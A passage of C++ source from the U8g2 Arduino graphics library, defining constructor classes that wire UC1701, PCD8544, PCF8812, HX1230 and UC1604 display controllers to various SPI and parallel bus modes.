rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_MINI12864_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_MINI12864_F_6800 : public U8G2 { public: U8G2_UC1701_MINI12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_F_8080 : public U8G2 { public: U8G2_UC1701_MINI12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_PCD8544_84X48_1_4W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCD8544_84X48_1_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_1_3W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCD8544_84X48_1_3W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_PCD8544_84X48_2_4W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCD8544_84X48_2_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_2_3W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCD8544_84X48_2_3W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_PCD8544_84X48_F_4W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCD8544_84X48_F_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCD8544_84X48_F_3W_SW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCD8544_84X48_F_3W_HW_SPI : public U8G2 { public: U8G2_PCD8544_84X48_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcd8544_84x48_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_PCF8812_96X65_1_4W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCF8812_96X65_1_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_1_3W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCF8812_96X65_1_3W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_PCF8812_96X65_2_4W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCF8812_96X65_2_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_2_3W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCF8812_96X65_2_3W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_PCF8812_96X65_F_4W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_PCF8812_96X65_F_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_PCF8812_96X65_F_3W_SW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_PCF8812_96X65_F_3W_HW_SPI : public U8G2 { public: U8G2_PCF8812_96X65_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_pcf8812_96x65_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_HX1230_96X68_1_4W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_HX1230_96X68_1_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_1_3W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_HX1230_96X68_1_3W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_HX1230_96X68_2_4W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_HX1230_96X68_2_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_2_3W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_HX1230_96X68_2_3W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_HX1230_96X68_F_4W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_HX1230_96X68_F_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_HX1230_96X68_F_3W_SW_SPI : public U8G2 { public: U8G2_HX1230_96X68_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_HX1230_96X68_F_3W_HW_SPI : public U8G2 { public: U8G2_HX1230_96X68_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hx1230_96x68_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1604_JLX19264_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1604_JLX19264_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1604_JLX19264_1_6800 : public U8G2 { public: U8G2_UC1604_JLX19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_1_8080 : public U8G2 { public: U8G2_UC1604_JLX19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); 